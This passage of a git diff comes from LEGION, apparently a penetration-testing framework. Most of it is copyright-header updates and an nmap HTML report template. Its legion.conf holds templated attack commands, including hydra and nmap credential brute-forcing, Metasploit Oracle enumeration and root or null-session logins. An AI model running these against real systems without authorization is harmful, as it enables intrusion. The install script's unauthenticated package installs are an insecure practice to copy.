either version 3 of the License, or (at your option) any later diff --git a/db/repositories/NoteRepository.py b/db/repositories/NoteRepository.py index 7e67ed08..ee685fa6 100644 --- a/db/repositories/NoteRepository.py +++ b/db/repositories/NoteRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/PortRepository.py b/db/repositories/PortRepository.py index ba19ebfe..3312ce19 100644 --- a/db/repositories/PortRepository.py +++ b/db/repositories/PortRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index 54943234..c17980c5 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/ScriptRepository.py b/db/repositories/ScriptRepository.py index cdde1a88..3382227d 100644 --- a/db/repositories/ScriptRepository.py +++ b/db/repositories/ScriptRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/ServiceRepository.py b/db/repositories/ServiceRepository.py index 15c73847..75b6d9ee 100644 --- a/db/repositories/ServiceRepository.py +++ b/db/repositories/ServiceRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/validation.py b/db/validation.py index 85567c1c..4d8b8d66 100644 --- a/db/validation.py +++ b/db/validation.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 113df35c..4da9bb6c 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,7 +9,7 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap theharvester wapiti libqt5core5a python-pip ruby perl urlscan git xsltproc +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap libqt5core5a python-pip ruby perl urlscan git xsltproc DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install libgl1-mesa-glx DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install dnsmap DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install wapiti diff --git a/legion.conf b/legion.conf index 92bc6806..a565301e 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,491,100" +process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,481,100" process-tab-detail=false [GeneralSettings] @@ -201,9 +201,9 @@ oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --sc oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", "oracle-tns" +oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", "oracle-tns" +oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 @@ -273,7 +273,7 @@ snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -theharvester=Run theharvester, "theharvester -d [IP]:[PORT] -b all -n -c -t -h", dns +theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" @@ -282,18 +282,18 @@ whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt wpscan=Run wpscan, "wpscan --url [IP]:[PORT], http", "https\nx11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11\n\n[PortTerminalActions]\nfirefox=Open with firefox, firefox [IP]:[PORT], \nftp=Open with ftp client, ftp [IP] [PORT], ftp\nmssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], mys-sql-s" [PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], +firefox=Open with firefox, firefox [IP]:[PORT], ftp=Open with ftp client, ftp [IP] [PORT], ftp mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], +netcat=Open with netcat, nc -v [IP] [PORT], psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" rsh=Open with rsh, rsh -l root [IP], shell ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], +telnet=Open with telnet, telnet [IP] [PORT], vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp diff --git a/legion.py b/legion.py index 454d8df5..dbe924ce 100644 --- a/legion.py +++ b/legion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ LEGION (https://govanguard.com) -Copyright (c) 2018 GoVanguard +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -19,6 +19,7 @@ from app.tools.nmap.DefaultNmapExporter import DefaultNmapExporter from db.RepositoryFactory import RepositoryFactory from ui.eventfilter import MyEventFilter +from ui.ViewState import ViewState from utilities.stenoLogging import * log = get_logger('legion', path="./log/legion-startup.log") diff --git a/nmap.xsl b/nmap.xsl new file mode 100644 index 00000000..1be7ead5 --- /dev/null +++ b/nmap.xsl @@ -0,0 +1,1071 @@ + + + + + + + +0.9c + + + + + + + + + + + + + + + + + + + + +generated with nmap.xsl - version by Benjamin Erb - http://www.benjamin-erb.de/nmap_xsl.php + + + + Nmap Scan Report - Scanned at <xsl:value-of select="$start" /> + + + + + + + + +
    + +

    Nmap Scan Report - Scanned at

    + +
    + + + scansummary + + + + +

    Scan Summary

    + +

    + Nmap was initiated at with these arguments:
    +
    +

    +

    + Verbosity: ; Debug level +

    + +

    + +

    + + + + + + + + + +
    + + + + +
    + + + + + + + + + + + + host_ + + + + + +

    + + + + + / + + + + (online) +

    + +
    + + +

    + + + + + / + + + + + javascript:toggle('hostblock_'); + host_down + (click to expand) + + (offline)

    +
    + +
    + + + + hostblock_ + + + + unhidden + + + + hidden + + + + + +

    Address

    + +
      + +
    • + + - + + + + () +
    • +
      +
    +
    + + + + +
    + + + javascript:toggle('metrics_'); + Misc Metrics (click to expand) + + + + + metrics_ + hidden + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    MetricValue
    Ping Results + + from + + +
    System Uptime seconds (last reboot: ) +
    Network Distance hops
    TCP Sequence PredictionDifficulty= ()
    IP ID Sequence Generation
    +
    + +
    + +
    + + + + + + + +

    Hostnames

    +
    + + + + + +
  • ()
  • +
    + + + + + + +

    Ports

    + + +

    The ports scanned but not shown below are in state:

    +
    + +
      + + +
    • ports replied with:

    • +
      +
      +
    +
    + + + + + + + + + + + porttable_ + 1 + + + Port + State + + javascript:togglePorts('porttable_','closed'); + (toggle closed [] + + + javascript:togglePorts('porttable_','filtered'); + | filtered []) + + + Service + Reason + Product + Version + Extra info + + + + + +
    + + + + + + + + + + + + +   + + + from + + + +   +   +   + + + + + +   + +
      
    + + + +
    +
    + + + + + + +   + + + from + + + +   +   +   + + + + + + + + +   + + + from + + + +   +   +   + + + + + + + + +   + + + from + + + +   +   +   + + + +
    +
    + + + + + +

    Remote Operating System Detection

    + +

    Unable to identify operating system.

    + +
      + +
    • Used port: / ()
    • +
      + + +
    • OS match: (%)
    • +
      +
    + + + +
    + + + + + + + + + + + + +
      +
    • Cannot determine exact operating system. Fingerprint provided below.
    • +
    • If you know what OS is running on it, see https://nmap.org/submit/
    • +
    + + + + + + + +
    Operating System fingerprint
    + +
    + + +
      +
    • OS identified but the fingerprint was requested at scan time. + + + javascript:toggle('osblock_'); + (click to expand) + +
    • +
    + + + osblock_ + hidden + + + + + + + + +
    Operating System fingerprint
    + +
    + +
    + +
    + +
    + + + + + + + + + + prescript + + +

    Pre-Scan Script Output

    + + + + + + + + + + + + + + +
    Script NameOutput
    +   + +
    +           
    +        
    +
    +
    + + + + + + + + + + postscript + + +

    Post-Scan Script Putput

    + + + + + + + + + + + + + + +
    Script NameOutput
    +   + +
    +           
    +        
    +
    +
    + + + + + + +

    Host Script Output

    + + + + + + + + + + + + + + +
    Script NameOutput
    +   + +
    +              
    +          
    +
    +
    + + + + + +

    Smurf Responses

    +
      +
    • responses counted
    • +
    +
    +
    + + + + + + + + + + + + + + javascript:toggle('trace_'); + Traceroute Information (click to expand) + + + + trace_ + hidden + + + + +
    • Traceroute data generated using port /
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    HopRttIPHost
    --
    +
    + +
    +
    + +
    diff --git a/parsers/examples/HostExample.py b/parsers/examples/HostExample.py index f971223d..f2b0251e 100644 --- a/parsers/examples/HostExample.py +++ b/parsers/examples/HostExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/OsExample.py b/parsers/examples/OsExample.py index ef904076..4eace1b3 100644 --- a/parsers/examples/OsExample.py +++ b/parsers/examples/OsExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ParserExample.py b/parsers/examples/ParserExample.py index 2cae0bc8..fbe57889 100644 --- a/parsers/examples/ParserExample.py +++ b/parsers/examples/ParserExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ScriptExample.py b/parsers/examples/ScriptExample.py index 90adb95b..ee731b69 100644 --- a/parsers/examples/ScriptExample.py +++ b/parsers/examples/ScriptExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ServiceExample.py b/parsers/examples/ServiceExample.py index f93ad919..b52c91c6 100644 --- a/parsers/examples/ServiceExample.py +++ b/parsers/examples/ServiceExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/SessionExample.py b/parsers/examples/SessionExample.py index c168a8d2..935361cb 100644 --- a/parsers/examples/SessionExample.py +++ b/parsers/examples/SessionExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/__init__.py b/parsers/examples/__init__.py index bcdbc64c..c1f1c80d 100644 --- a/parsers/examples/__init__.py +++ b/parsers/examples/__init__.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/precommit.sh b/precommit.sh index d196d5e0..0b94dbfe 100644 --- a/precommit.sh +++ b/precommit.sh @@ -1,8 +1,8 @@ #!/bin/bash # Update last update in controller -sed -i -r "s/self.update = '.*?'/self.update = \'`date '+%m\/%d\/%Y'\'`/g" ./controller/controller.py -sed -i -r "s/self.build = '.*?'/self.build = \'`date '+%s'\'`/g" ./controller/controller.py +sed -i -r "s/update\": .*?/update\": '`date '+%m\/%d\/%Y'`',/g" ./app/ApplicationInfo.py +sed -i -r "s/build\": .*?/build\": '`date '+%s'`',/g" ./app/ApplicationInfo.py # Clear logs diff --git a/requirements.txt b/requirements.txt index 03fd9a6d..e944fa6d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -14,7 +14,7 @@ pyfiglet colorama termcolor win_inet_pton -pyExploitDb>=0.2.0 +pyExploitDb>=0.2.1 pyShodan GitPython pandas diff --git a/tests/app/actions/updateProgress/test_UpdateProgressObservable.py b/tests/app/actions/updateProgress/test_UpdateProgressObservable.py index 60c5a951..3b1a6da8 100644 --- a/tests/app/actions/updateProgress/test_UpdateProgressObservable.py +++ b/tests/app/actions/updateProgress/test_UpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/http/test_isHttps.py b/tests/app/http/test_isHttps.py index 0e5b4fe1..43e78d84 100644 --- a/tests/app/http/test_isHttps.py +++ b/tests/app/http/test_isHttps.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/shell/test_DefaultShell.py b/tests/app/shell/test_DefaultShell.py index 82b715e5..d210e940 100644 --- a/tests/app/shell/test_DefaultShell.py +++ b/tests/app/shell/test_DefaultShell.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/test_ModelHelpers.py b/tests/app/test_ModelHelpers.py index a2e956d0..4580c3a0 100644 --- a/tests/app/test_ModelHelpers.py +++ b/tests/app/test_ModelHelpers.py @@ -1,5 +1,5 @@ """ -LEGION (https://govanguard.io) +LEGION (https://govanguard.com) Copyright (c) 2019 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public diff --git a/tests/app/test_ProjectManager.py b/tests/app/test_ProjectManager.py index c45f041e..912a7b37 100644 --- a/tests/app/test_ProjectManager.py +++ b/tests/app/test_ProjectManager.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/test_Timing.py b/tests/app/test_Timing.py index 48352b10..079b857d 100644 --- a/tests/app/test_Timing.py +++ b/tests/app/test_Timing.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/tools/nmap/test_DefaultNmapExporter.py b/tests/app/tools/nmap/test_DefaultNmapExporter.py index aeb71cde..5dcf9bb7 100644 --- a/tests/app/tools/nmap/test_DefaultNmapExporter.py +++ b/tests/app/tools/nmap/test_DefaultNmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -29,14 +29,14 @@ def setUp(self, legionLog) -> None: @patch("subprocess.Popen") def test_exportOutputToHtml_WhenProvidedFileNameAndOutputFolder_ExportsOutputSuccessfully(self, processOpen): - exportCommand = f"xsltproc -o some-file.html some-file.xml" + exportCommand = f"xsltproc -o some-file.html nmap.xsl some-file.xml" self.nmapExporter.exportOutputToHtml("some-file", "some-folder/") processOpen.assert_called_once_with(exportCommand, shell=True) self.mockShell.move.assert_called_once_with("some-file.html", "some-folder/") @patch("subprocess.Popen") def test_exportOutputToHtml_WhenExportFailsDueToProcessError_DoesNotMoveAnyFilesToOutputFolder(self, processOpen): - exportCommand = f"xsltproc -o some-bad-file.html some-bad-file.xml" + exportCommand = f"xsltproc -o some-bad-file.html nmap.xsl some-bad-file.xml" processOpen.side_effect = Exception("something went wrong") self.nmapExporter.exportOutputToHtml("some-bad-file", "some-folder/") processOpen.assert_called_once_with(exportCommand, shell=True) diff --git a/tests/app/tools/nmap/test_NmapHelpers.py b/tests/app/tools/nmap/test_NmapHelpers.py index c8d7f894..c82b0204 100644 --- a/tests/app/tools/nmap/test_NmapHelpers.py +++ b/tests/app/tools/nmap/test_NmapHelpers.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/tools/test_ToolCoordinator.py b/tests/app/tools/test_ToolCoordinator.py index adcc7897..cd5b7ae6 100644 --- a/tests/app/tools/test_ToolCoordinator.py +++ b/tests/app/tools/test_ToolCoordinator.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/repositories/test_CVERepository.py b/tests/db/repositories/test_CVERepository.py index 2a96cc89..2709665e 100644 --- a/tests/db/repositories/test_CVERepository.py +++ b/tests/db/repositories/test_CVERepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/repositories/test_HostRepository.py b/tests/db/repositories/test_HostRepository.py index 1ec54a64..e0e8f3f3 100644 --- a/tests/db/repositories/test_HostRepository.py +++ b/tests/db/repositories/test_HostRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/repositories/test_NoteRepository.py b/tests/db/repositories/test_NoteRepository.py index c5400079..1ccd078a 100644 --- a/tests/db/repositories/test_NoteRepository.py +++ b/tests/db/repositories/test_NoteRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/repositories/test_PortRepository.py b/tests/db/repositories/test_PortRepository.py index 6bccc0ea..66aed2f4 100644 --- a/tests/db/repositories/test_PortRepository.py +++ b/tests/db/repositories/test_PortRepository.py @@ -1,5 +1,5 @@ """ -LEGION (https://govanguard.io) +LEGION (https://govanguard.com) Copyright (c) 2018-2019 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public diff --git a/tests/db/repositories/test_ProcessRepository.py b/tests/db/repositories/test_ProcessRepository.py index 25cc79f4..df2f3ef7 100644 --- a/tests/db/repositories/test_ProcessRepository.py +++ b/tests/db/repositories/test_ProcessRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/repositories/test_ServiceRepository.py b/tests/db/repositories/test_ServiceRepository.py index 11fc9ce0..a97ae2f1 100644 --- a/tests/db/repositories/test_ServiceRepository.py +++ b/tests/db/repositories/test_ServiceRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/test_filters.py b/tests/db/test_filters.py index 7565a99e..454102f9 100644 --- a/tests/db/test_filters.py +++ b/tests/db/test_filters.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/test_validation.py b/tests/db/test_validation.py index 49e854da..d2391eec 100644 --- a/tests/db/test_validation.py +++ b/tests/db/test_validation.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/ui/observers/test_QtUpdateProgressObserver.py b/tests/ui/observers/test_QtUpdateProgressObserver.py index 766ee98d..57152726 100644 --- a/tests/ui/observers/test_QtUpdateProgressObserver.py +++ b/tests/ui/observers/test_QtUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/ui/test_eventfilter.py b/tests/ui/test_eventfilter.py index 65887d48..00a6a022 100644 --- a/tests/ui/test_eventfilter.py +++ b/tests/ui/test_eventfilter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/ViewHeaders.py b/ui/ViewHeaders.py index 0db4ef6c..14d95124 100644 --- a/ui/ViewHeaders.py +++ b/ui/ViewHeaders.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/ViewState.py b/ui/ViewState.py index ab7a49a5..d1620705 100644 --- a/ui/ViewState.py +++ b/ui/ViewState.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index c9282b3f..f54130d6 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/ancillaryDialog.py b/ui/ancillaryDialog.py index da7beb6c..f276dd6e 100644 --- a/ui/ancillaryDialog.py +++ b/ui/ancillaryDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git 